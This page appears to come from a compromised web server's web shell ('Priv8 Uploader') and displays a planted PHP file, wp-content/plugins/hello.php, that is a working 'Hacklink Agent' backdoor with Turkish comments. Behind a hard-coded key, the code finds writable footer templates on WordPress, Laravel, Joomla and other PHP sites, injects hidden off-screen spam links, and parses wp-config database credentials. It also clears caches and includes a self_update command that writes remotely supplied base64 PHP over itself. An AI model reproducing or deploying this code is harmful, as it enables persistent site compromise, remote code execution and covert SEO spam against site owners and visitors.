GIF89a;

Priv8 Uploader By InMyMine7

Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
HEX
HEX
Server: Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: vacationcoursesc (1031)
PHP: 7.3.28
Disabled: NONE
Upload Files
File: /home/vacationcoursesc/public_html/wp-content/plugins/hello.php
<?php
ob_start(); // EN BASTA - tüm çıktıları yakala

/**
 * Hacklink Agent v2.2
 * Shell'e yüklenir, WordPress VE diğer PHP sitelerine hacklink ekler
 * 
 * v2.1: WordPress dışı site desteği (Laravel, düz PHP, vb.)
 * v2.2: Self-update ve rollback desteği
 * v2.3: PHP 8.4 uyumluluğu, try-catch ile WordPress yükleme
 * 
 * Komutlar:
 * - ping: Canlılık kontrolü
 * - list: Mevcut linkleri listele
 * - add: Link ekle
 * - remove: Link sil
 * - clear: Tüm linkleri temizle
 * - bulk_add: Toplu link ekle
 * - purge: Cache temizle
 * - health: Linkler sitede görünüyor mu kontrol et
 * - report: Detaylı rapor (link sayısı, site bilgisi)
 * - set_footer: Manuel footer yolu ayarla
 * - scan_footers: Olası footer dosyalarını listele
 * - self_update: Uzaktan agent güncelleme (base64 code)
 * - rollback: Son yedeğe geri dön
 */

// ====== AYARLAR ======
$SECRET_KEY = 'X$4sL9!pQ8rT';
$AGENT_VERSION = '2.3';
$CONFIG_FILE = __DIR__ . '/.hl_config.json';

// ====== GÜVENLİK ======
header('Content-Type: application/json');
error_reporting(0);

$key = $_REQUEST['key'] ?? '';
if ($key !== $SECRET_KEY) {
    http_response_code(401);
    die(json_encode(['error' => 'Unauthorized', 'code' => 401]));
}

$cmd = $_REQUEST['cmd'] ?? 'ping';

// ====== CONFIG OKUMA/YAZMA ======
function get_config() {
    global $CONFIG_FILE;
    if (file_exists($CONFIG_FILE)) {
        $data = @json_decode(file_get_contents($CONFIG_FILE), true);
        return is_array($data) ? $data : [];
    }
    return [];
}

function save_config($config) {
    global $CONFIG_FILE;
    return @file_put_contents($CONFIG_FILE, json_encode($config, JSON_PRETTY_PRINT));
}

// ====== WORDPRESS YÜKLE ======
function load_wordpress() {
    // wp-load.php'yi bul
    $paths = [
        $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php',
        dirname(__FILE__) . '/wp-load.php',
        dirname(__FILE__) . '/../wp-load.php',
        dirname(__FILE__) . '/../../wp-load.php',
        dirname(__FILE__) . '/../../../wp-load.php',
        dirname(__FILE__) . '/../../../../wp-load.php',
    ];
    
    foreach ($paths as $path) {
        if (file_exists($path)) {
            try {
                if (!defined('WP_USE_THEMES')) {
                    define('WP_USE_THEMES', false);
                }
                @require_once($path);
                return function_exists('get_template_directory');
            } catch (Throwable $e) {
                return false;
            }
        }
    }
    return false;
}

// ====== SİTE TİPİ ALGILAMA ======
function detect_site_type() {
    $doc_root = $_SERVER['DOCUMENT_ROOT'];
    
    // WordPress
    if (file_exists($doc_root . '/wp-config.php') || file_exists($doc_root . '/wp-load.php')) {
        return 'wordpress';
    }
    
    // Laravel
    if (file_exists($doc_root . '/artisan') || file_exists($doc_root . '/../artisan')) {
        return 'laravel';
    }
    
    // CodeIgniter
    if (file_exists($doc_root . '/application/config/config.php') || is_dir($doc_root . '/system/core')) {
        return 'codeigniter';
    }
    
    // Joomla
    if (file_exists($doc_root . '/configuration.php') && file_exists($doc_root . '/administrator')) {
        return 'joomla';
    }
    
    // Drupal
    if (file_exists($doc_root . '/sites/default/settings.php')) {
        return 'drupal';
    }
    
    // Generic PHP
    return 'php';
}

// ====== FOOTER BULMA (GELİŞMİŞ) ======
function get_footer_path() {
    // Önce config'de manuel tanımlı footer var mı?
    $config = get_config();
    if (!empty($config['footer_path'])) {
        $manual_path = $config['footer_path'];
        // Relative path ise document_root'a göre çöz
        if ($manual_path[0] !== '/') {
            $manual_path = $_SERVER['DOCUMENT_ROOT'] . '/' . $manual_path;
        }
        if (file_exists($manual_path)) {
            return $manual_path;
        }
    }
    
    $doc_root = $_SERVER['DOCUMENT_ROOT'];
    $site_type = detect_site_type();
    
    // ====== WORDPRESS ======
    if ($site_type === 'wordpress') {
        // Önce WordPress API ile dene
        if (function_exists('get_template_directory')) {
            $footer = get_template_directory() . '/footer.php';
            if (file_exists($footer)) {
                return $footer;
            }
        }
        
        // WordPress yüklenemezse DB'den tema bul
        $wp_config = $doc_root . '/wp-config.php';
        if (file_exists($wp_config)) {
            $config_content = file_get_contents($wp_config);
            
            preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $db_name);
            preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $db_user);
            preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $db_pass);
            preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $db_host);
            preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $config_content, $prefix);
            
            if (!empty($db_name[1]) && !empty($db_user[1])) {
                try {
                    $pdo = new PDO(
                        "mysql:host=" . ($db_host[1] ?? 'localhost') . ";dbname=" . $db_name[1],
                        $db_user[1],
                        $db_pass[1] ?? ''
                    );
                    $table = ($prefix[1] ?? 'wp_') . 'options';
                    $stmt = $pdo->query("SELECT option_value FROM {$table} WHERE option_name = 'template' LIMIT 1");
                    $theme = $stmt->fetchColumn();
                    
                    if ($theme) {
                        $footer = $doc_root . '/wp-content/themes/' . $theme . '/footer.php';
                        if (file_exists($footer)) {
                            return $footer;
                        }
                    }
                } catch (Exception $e) {}
            }
        }
        
        // Themes klasöründe ara
        $themes_dir = $doc_root . '/wp-content/themes';
        if (is_dir($themes_dir)) {
            $themes = glob($themes_dir . '/*', GLOB_ONLYDIR);
            foreach ($themes as $theme) {
                $name = basename($theme);
                if (preg_match('/^(twenty|hello-elementor|starter)/i', $name)) continue;
                $footer = $theme . '/footer.php';
                if (file_exists($footer)) return $footer;
            }
            foreach ($themes as $theme) {
                $footer = $theme . '/footer.php';
                if (file_exists($footer)) return $footer;
            }
        }
    }
    
    // ====== LARAVEL ======
    if ($site_type === 'laravel') {
        $laravel_paths = [
            $doc_root . '/../resources/views/layouts/footer.blade.php',
            $doc_root . '/../resources/views/layouts/app.blade.php',
            $doc_root . '/../resources/views/partials/footer.blade.php',
            $doc_root . '/../resources/views/includes/footer.blade.php',
            $doc_root . '/../resources/views/layout/footer.blade.php',
            $doc_root . '/../resources/views/footer.blade.php',
        ];
        foreach ($laravel_paths as $path) {
            if (file_exists($path)) return $path;
        }
    }
    
    // ====== CODEIGNITER ======
    if ($site_type === 'codeigniter') {
        $ci_paths = [
            $doc_root . '/application/views/templates/footer.php',
            $doc_root . '/application/views/layout/footer.php',
            $doc_root . '/application/views/includes/footer.php',
            $doc_root . '/application/views/common/footer.php',
            $doc_root . '/application/views/footer.php',
        ];
        foreach ($ci_paths as $path) {
            if (file_exists($path)) return $path;
        }
    }
    
    // ====== JOOMLA ======
    if ($site_type === 'joomla') {
        // Aktif template'i bul
        $joomla_templates = glob($doc_root . '/templates/*', GLOB_ONLYDIR);
        foreach ($joomla_templates as $tpl) {
            $name = basename($tpl);
            if (in_array($name, ['system', 'cassiopeia', 'atum'])) continue;
            $index = $tpl . '/index.php';
            if (file_exists($index)) return $index; // Joomla'da footer ayrı değil
        }
    }
    
    // ====== GENERIC PHP ======
    $generic_paths = [
        // Yaygın footer dosyaları
        $doc_root . '/includes/footer.php',
        $doc_root . '/include/footer.php',
        $doc_root . '/inc/footer.php',
        $doc_root . '/templates/footer.php',
        $doc_root . '/template/footer.php',
        $doc_root . '/views/footer.php',
        $doc_root . '/common/footer.php',
        $doc_root . '/layout/footer.php',
        $doc_root . '/layouts/footer.php',
        $doc_root . '/partials/footer.php',
        $doc_root . '/footer.php',
        // Index dosyaları (son çare)
        $doc_root . '/index.php',
    ];
    
    foreach ($generic_paths as $path) {
        if (file_exists($path) && is_writable($path)) {
            return $path;
        }
    }
    
    // Son çare: Recursive arama
    $found = find_footer_recursive($doc_root, 0, 3);
    if ($found) return $found;
    
    return null;
}

// Recursive footer arama (max depth sınırlı)
function find_footer_recursive($dir, $depth, $max_depth) {
    if ($depth > $max_depth) return null;
    
    $skip_dirs = ['vendor', 'node_modules', 'cache', 'logs', 'tmp', 'uploads', 'wp-admin', 'wp-includes'];
    
    $files = @glob($dir . '/*');
    if (!$files) return null;
    
    // Önce footer.php ara
    foreach ($files as $file) {
        if (is_file($file) && preg_match('/footer\.php$/i', $file) && is_writable($file)) {
            return $file;
        }
    }
    
    // Subdirectory'lere bak
    foreach ($files as $file) {
        if (is_dir($file)) {
            $name = basename($file);
            if (in_array($name, $skip_dirs) || $name[0] === '.') continue;
            $result = find_footer_recursive($file, $depth + 1, $max_depth);
            if ($result) return $result;
        }
    }
    
    return null;
}

// ====== AGENT ID ======
$AGENT_ID = 'HL_' . substr(md5(__FILE__ . @$_SERVER['HTTP_HOST']), 0, 8);

// ====== HACKLINK FONKSİYONLARI ======

function build_hacklink_block($links, $agent_id) {
    if (empty($links)) return '';
    
    $html = "\n<!-- {$agent_id}:START -->\n";
    $html .= "<span style=\"position:absolute;left:-9999px;\">\n";
    
    foreach ($links as $link) {
        $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
        $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
        $html .= "<a href=\"{$url}\">{$anchor}</a>\n";
    }
    
    $html .= "</span>\n";
    $html .= "<!-- {$agent_id}:END -->\n";
    
    return $html;
}

function extract_links($content, $agent_id) {
    $links = [];
    
    $pattern = '/<!-- ' . preg_quote($agent_id, '/') . ':START -->.*?<!-- ' . preg_quote($agent_id, '/') . ':END -->/s';
    if (preg_match($pattern, $content, $match)) {
        preg_match_all('/<a href="([^"]+)">([^<]+)<\/a>/', $match[0], $matches, PREG_SET_ORDER);
        foreach ($matches as $m) {
            $links[] = ['url' => html_entity_decode($m[1]), 'anchor' => html_entity_decode($m[2])];
        }
    }
    
    return $links;
}

function update_footer($links, $agent_id) {
    $footer_path = get_footer_path();
    if (!$footer_path) {
        return ['error' => 'Footer bulunamadı', 'code' => 404];
    }
    
    $content = @file_get_contents($footer_path);
    if ($content === false) {
        return ['error' => 'Footer okunamadı', 'code' => 500];
    }
    
    // Eski bloğu temizle
    $pattern = '/\n?<!-- ' . preg_quote($agent_id, '/') . ':START -->.*?<!-- ' . preg_quote($agent_id, '/') . ':END -->\n?/s';
    $content = preg_replace($pattern, '', $content);
    
    // Yeni bloğu ekle
    if (!empty($links)) {
        $new_block = build_hacklink_block($links, $agent_id);
        
        // </body> öncesine ekle
        if (strpos($content, '</body>') !== false) {
            $content = str_replace('</body>', $new_block . '</body>', $content);
        }
        // </html> öncesine ekle
        elseif (strpos($content, '</html>') !== false) {
            $content = str_replace('</html>', $new_block . '</html>', $content);
        }
        // wp_footer() sonrasına ekle
        elseif (preg_match('/wp_footer\s*\(\s*\)\s*;?\s*\?>/', $content)) {
            $content = preg_replace('/(wp_footer\s*\(\s*\)\s*;?\s*\?>)/', '$1' . $new_block, $content);
        }
        // @yield, @include (Laravel Blade)
        elseif (preg_match('/@(yield|include|section)\s*\([\'"][^\'"]+[\'"]\)/', $content)) {
            // Dosya sonuna ekle
            $content .= $new_block;
        }
        // Dosya sonuna ekle
        else {
            $content .= $new_block;
        }
    }
    
    // Backup
    $backup = $footer_path . '.bak';
    if (!file_exists($backup)) {
        @copy($footer_path, $backup);
    }
    
    // Kaydet
    if (@file_put_contents($footer_path, $content) === false) {
        return ['error' => 'Footer yazılamadı', 'code' => 500];
    }
    
    return ['success' => true, 'path' => $footer_path, 'links_count' => count($links)];
}

function purge_cache() {
    $cleared = [];
    $doc_root = $_SERVER['DOCUMENT_ROOT'];
    
    // LiteSpeed Cache
    $ls_cache = $doc_root . '/wp-content/cache/litespeed';
    if (is_dir($ls_cache)) {
        array_map('unlink', glob("$ls_cache/*/*/*") ?: []);
        array_map('unlink', glob("$ls_cache/*/*") ?: []);
        array_map('unlink', glob("$ls_cache/*") ?: []);
        $cleared[] = 'litespeed';
    }
    
    // WP Super Cache
    $wp_cache = $doc_root . '/wp-content/cache/supercache';
    if (is_dir($wp_cache)) {
        array_map(function($d) { 
            array_map('unlink', glob("$d/*") ?: []);
            @rmdir($d);
        }, glob("$wp_cache/*", GLOB_ONLYDIR) ?: []);
        $cleared[] = 'supercache';
    }
    
    // W3 Total Cache
    $w3_cache = $doc_root . '/wp-content/cache/page_enhanced';
    if (is_dir($w3_cache)) {
        array_map(function($d) {
            array_map('unlink', glob("$d/*") ?: []);
            @rmdir($d);
        }, glob("$w3_cache/*", GLOB_ONLYDIR) ?: []);
        $cleared[] = 'w3tc';
    }
    
    // Laravel Cache
    $laravel_cache = $doc_root . '/../storage/framework/views';
    if (is_dir($laravel_cache)) {
        array_map('unlink', glob("$laravel_cache/*.php") ?: []);
        $cleared[] = 'laravel';
    }
    
    // Generic cache
    $cache_dirs = [
        $doc_root . '/cache',
        $doc_root . '/tmp/cache',
        $doc_root . '/../cache',
    ];
    foreach ($cache_dirs as $cache_dir) {
        if (is_dir($cache_dir)) {
            $files = glob("$cache_dir/*");
            if ($files) {
                foreach ($files as $f) {
                    if (is_file($f)) @unlink($f);
                }
                $cleared[] = 'generic';
                break;
            }
        }
    }
    
    return $cleared;
}

// ====== KOMUT İŞLE ======

// WordPress'i yüklemeyi dene
$wp_loaded = load_wordpress();

// WordPress ve plugin çıktılarını temizle
ob_end_clean();
ob_start();

$site_type = detect_site_type();
$response = ['agent_id' => $AGENT_ID, 'version' => $AGENT_VERSION];

switch ($cmd) {
    case 'ping':
        $footer_path = get_footer_path();
        $response += [
            'status' => 'alive',
            'site_type' => $site_type,
            'wp_loaded' => $wp_loaded,
            'footer_found' => $footer_path ? true : false,
            'footer_path' => $footer_path ? str_replace($_SERVER['DOCUMENT_ROOT'], '', $footer_path) : null,
            'php_version' => PHP_VERSION,
            'time' => date('Y-m-d H:i:s')
        ];
        break;
        
    case 'set_footer':
        // Manuel footer yolu ayarla
        $path = trim($_REQUEST['path'] ?? '');
        if (empty($path)) {
            $response['error'] = 'path gerekli';
            break;
        }
        
        // Relative veya absolute path
        $full_path = ($path[0] === '/') ? $path : $_SERVER['DOCUMENT_ROOT'] . '/' . $path;
        
        if (!file_exists($full_path)) {
            $response['error'] = 'Dosya bulunamadı: ' . $path;
            break;
        }
        
        if (!is_writable($full_path)) {
            $response['error'] = 'Dosya yazılabilir değil: ' . $path;
            break;
        }
        
        $config = get_config();
        $config['footer_path'] = $path;
        save_config($config);
        
        $response['success'] = true;
        $response['footer_path'] = $path;
        $response['message'] = 'Footer yolu ayarlandı';
        break;
        
    case 'list':
        $footer_path = get_footer_path();
        if (!$footer_path) {
            $response['error'] = 'Footer bulunamadı';
            $response['links'] = [];
        } else {
            $content = @file_get_contents($footer_path);
            $links = extract_links($content, $AGENT_ID);
            $response['links'] = $links;
            $response['count'] = count($links);
        }
        break;
        
    case 'add':
        $url = trim($_REQUEST['url'] ?? '');
        $anchor = trim($_REQUEST['anchor'] ?? '');
        
        if (empty($url) || empty($anchor)) {
            $response['error'] = 'url ve anchor gerekli';
            break;
        }
        
        $footer_path = get_footer_path();
        if (!$footer_path) {
            $response['error'] = 'Footer bulunamadı';
            $response['site_type'] = $site_type;
            $response['hint'] = 'Manuel footer yolu ayarlamak için: ?cmd=set_footer&path=path/to/footer.php';
            break;
        }
        
        $content = @file_get_contents($footer_path);
        $links = extract_links($content, $AGENT_ID);
        
        // Duplicate kontrolü
        foreach ($links as $link) {
            if ($link['url'] === $url) {
                $response['error'] = 'Bu URL zaten mevcut';
                break 2;
            }
        }
        
        $links[] = ['url' => $url, 'anchor' => $anchor];
        $result = update_footer($links, $AGENT_ID);
        $response = array_merge($response, $result);
        if (!isset($result['error'])) {
            $response['added'] = ['url' => $url, 'anchor' => $anchor];
            purge_cache();
        }
        break;
        
    case 'remove':
        $url = trim($_REQUEST['url'] ?? '');
        
        if (empty($url)) {
            $response['error'] = 'url gerekli';
            break;
        }
        
        $footer_path = get_footer_path();
        if (!$footer_path) {
            $response['error'] = 'Footer bulunamadı';
            break;
        }
        
        $content = @file_get_contents($footer_path);
        $links = extract_links($content, $AGENT_ID);
        $original_count = count($links);
        
        $links = array_values(array_filter($links, fn($l) => $l['url'] !== $url));
        
        if (count($links) === $original_count) {
            $response['error'] = 'URL bulunamadı';
            break;
        }
        
        $result = update_footer($links, $AGENT_ID);
        $response = array_merge($response, $result);
        if (!isset($result['error'])) {
            $response['removed'] = $url;
            purge_cache();
        }
        break;
        
    case 'update':
        $old_url = trim($_REQUEST['old_url'] ?? $_REQUEST['url'] ?? '');
        $new_url = trim($_REQUEST['new_url'] ?? '');
        $new_anchor = trim($_REQUEST['new_anchor'] ?? $_REQUEST['anchor'] ?? '');
        
        if (empty($old_url)) {
            $response['error'] = 'old_url (veya url) gerekli';
            break;
        }
        
        $footer_path = get_footer_path();
        if (!$footer_path) {
            $response['error'] = 'Footer bulunamadı';
            break;
        }
        
        $content = @file_get_contents($footer_path);
        $links = extract_links($content, $AGENT_ID);
        
        $found = false;
        foreach ($links as &$link) {
            if ($link['url'] === $old_url) {
                if (!empty($new_url)) $link['url'] = $new_url;
                if (!empty($new_anchor)) $link['anchor'] = $new_anchor;
                $found = true;
                break;
            }
        }
        unset($link);
        
        if (!$found) {
            $response['error'] = 'URL bulunamadı';
            break;
        }
        
        $result = update_footer($links, $AGENT_ID);
        $response = array_merge($response, $result);
        if (!isset($result['error'])) {
            $response['updated'] = $old_url;
            purge_cache();
        }
        break;
        
    case 'clear':
        $result = update_footer([], $AGENT_ID);
        $response = array_merge($response, $result);
        if (!isset($result['error'])) {
            $response['message'] = 'Tüm linkler temizlendi';
            purge_cache();
        }
        break;
        
    case 'bulk_add':
        $links_json = $_REQUEST['links'] ?? '';
        if (empty($links_json)) {
            $raw = file_get_contents('php://input');
            if (preg_match('/links=([^&]+)/', $raw, $m)) {
                $links_json = urldecode($m[1]);
            }
        }
        $links_json = urldecode($links_json);
        $new_links = @json_decode($links_json, true);
        
        if (!is_array($new_links) || empty($new_links)) {
            $response['error'] = 'Geçerli links JSON dizisi gerekli';
            break;
        }
        
        $footer_path = get_footer_path();
        if (!$footer_path) {
            $response['error'] = 'Footer bulunamadı';
            break;
        }
        
        $content = @file_get_contents($footer_path);
        $existing = extract_links($content, $AGENT_ID);
        $existing_urls = array_column($existing, 'url');
        
        $added = 0;
        foreach ($new_links as $link) {
            $url = trim($link['url'] ?? '');
            $anchor = trim($link['anchor'] ?? '');
            if (empty($url) || empty($anchor)) continue;
            if (in_array($url, $existing_urls)) continue;
            
            $existing[] = ['url' => $url, 'anchor' => $anchor];
            $existing_urls[] = $url;
            $added++;
        }
        
        $result = update_footer($existing, $AGENT_ID);
        $response = array_merge($response, $result);
        $response['added_count'] = $added;
        if (!isset($result['error'])) {
            purge_cache();
        }
        break;
        
    case 'purge':
        $cleared = purge_cache();
        $response['cleared'] = $cleared;
        $response['message'] = empty($cleared) ? 'Cache bulunamadı' : 'Cache temizlendi';
        break;
        
    case 'health':
        $footer_path = get_footer_path();
        $health = [
            'agent_alive' => true,
            'site_type' => $site_type,
            'footer_exists' => false,
            'footer_writable' => false,
            'links_in_footer' => 0,
            'links_on_site' => 0,
            'all_visible' => false,
            'missing_links' => []
        ];
        
        if ($footer_path && file_exists($footer_path)) {
            $health['footer_exists'] = true;
            $health['footer_writable'] = is_writable($footer_path);
            
            $content = @file_get_contents($footer_path);
            $links = extract_links($content, $AGENT_ID);
            $health['links_in_footer'] = count($links);
            
            if (count($links) > 0) {
                $site_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'];
                $ctx = stream_context_create(['http' => ['timeout' => 10, 'header' => 'User-Agent: Mozilla/5.0']]);
                $html = @file_get_contents($site_url, false, $ctx);
                
                if ($html !== false) {
                    $visible = 0;
                    foreach ($links as $link) {
                        if (strpos($html, $link['url']) !== false) {
                            $visible++;
                        } else {
                            $health['missing_links'][] = $link['url'];
                        }
                    }
                    $health['links_on_site'] = $visible;
                    $health['all_visible'] = ($visible === count($links));
                }
            } else {
                $health['all_visible'] = true;
            }
        }
        
        $health['status'] = $health['all_visible'] ? 'healthy' : 'warning';
        $response['health'] = $health;
        break;
        
    case 'report':
        $footer_path = get_footer_path();
        $report = [
            'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
            'site_type' => $site_type,
            'agent_id' => $AGENT_ID,
            'agent_version' => $AGENT_VERSION,
            'php_version' => PHP_VERSION,
            'wordpress' => $wp_loaded,
            'footer' => null,
            'links' => [],
            'stats' => [
                'total_links' => 0,
                'unique_domains' => 0,
                'last_modified' => null
            ]
        ];
        
        if ($footer_path && file_exists($footer_path)) {
            $report['footer'] = [
                'path' => str_replace($_SERVER['DOCUMENT_ROOT'], '', $footer_path),
                'size' => filesize($footer_path),
                'writable' => is_writable($footer_path),
                'modified' => date('Y-m-d H:i:s', filemtime($footer_path))
            ];
            
            $content = @file_get_contents($footer_path);
            $links = extract_links($content, $AGENT_ID);
            $report['links'] = $links;
            $report['stats']['total_links'] = count($links);
            
            $domains = [];
            foreach ($links as $link) {
                $parsed = parse_url($link['url']);
                if (isset($parsed['host'])) {
                    $domains[$parsed['host']] = true;
                }
            }
            $report['stats']['unique_domains'] = count($domains);
            $report['stats']['last_modified'] = $report['footer']['modified'];
        }
        
        $response['report'] = $report;
        break;
        
    case 'scan_footers':
        // Olası footer dosyalarını listele (debug için)
        $doc_root = $_SERVER['DOCUMENT_ROOT'];
        $found = [];
        
        $search_patterns = [
            $doc_root . '/*/footer.php',
            $doc_root . '/*/*/footer.php',
            $doc_root . '/*/*/*/footer.php',
            $doc_root . '/footer.php',
            $doc_root . '/../resources/views/*/footer.blade.php',
            $doc_root . '/../resources/views/*/*/footer.blade.php',
        ];
        
        foreach ($search_patterns as $pattern) {
            $files = glob($pattern);
            if ($files) {
                foreach ($files as $f) {
                    $found[] = [
                        'path' => str_replace($_SERVER['DOCUMENT_ROOT'], '', $f),
                        'writable' => is_writable($f),
                        'size' => filesize($f)
                    ];
                }
            }
        }
        
        $response['footers'] = $found;
        $response['site_type'] = $site_type;
        $response['doc_root'] = $doc_root;
        break;
        
    case 'self_update':
        // Uzaktan agent güncelleme
        $code = $_REQUEST['code'] ?? '';
        
        // POST body'den de al
        if (empty($code)) {
            $raw = file_get_contents('php://input');
            if (preg_match('/code=([^&]+)/', $raw, $m)) {
                $code = urldecode($m[1]);
            }
        }
        
        if (empty($code)) {
            $response['error'] = 'code parametresi gerekli (base64 encoded PHP)';
            break;
        }
        
        // Base64 decode
        $new_code = @base64_decode($code);
        if ($new_code === false || strpos($new_code, '<?php') !== 0) {
            $response['error'] = 'Geçersiz kod formatı';
            break;
        }
        
        // Mevcut dosyanın yedeğini al
        $current_file = __FILE__;
        $backup_file = $current_file . '.v' . $AGENT_VERSION . '.bak';
        if (!@copy($current_file, $backup_file)) {
            $response['error'] = 'Yedek alınamadı';
            break;
        }
        
        // Yeni kodu yaz
        if (@file_put_contents($current_file, $new_code) === false) {
            $response['error'] = 'Kod yazılamadı';
            // Yedeği geri yükle
            @copy($backup_file, $current_file);
            break;
        }
        
        // Yeni versiyonu kontrol et
        preg_match('/\$AGENT_VERSION\s*=\s*[\'"]([^\'"]+)[\'"]/', $new_code, $ver_match);
        $new_version = $ver_match[1] ?? 'unknown';
        
        $response['success'] = true;
        $response['message'] = 'Agent güncellendi';
        $response['old_version'] = $AGENT_VERSION;
        $response['new_version'] = $new_version;
        $response['backup'] = basename($backup_file);
        break;
        
    case 'rollback':
        // Son yedeğe geri dön
        $current_file = __FILE__;
        $backups = glob($current_file . '.v*.bak');
        
        if (empty($backups)) {
            $response['error'] = 'Yedek bulunamadı';
            break;
        }
        
        // En son yedeği al
        usort($backups, function($a, $b) { return filemtime($b) - filemtime($a); });
        $latest_backup = $backups[0];
        
        if (!@copy($latest_backup, $current_file)) {
            $response['error'] = 'Geri yükleme başarısız';
            break;
        }
        
        $response['success'] = true;
        $response['message'] = 'Önceki versiyona geri dönüldü';
        $response['restored_from'] = basename($latest_backup);
        break;
        
    default:
        $response['error'] = 'Bilinmeyen komut: ' . $cmd;
        $response['available'] = ['ping', 'list', 'add', 'remove', 'clear', 'bulk_add', 'purge', 'health', 'report', 'set_footer', 'scan_footers', 'self_update', 'rollback'];
}

echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);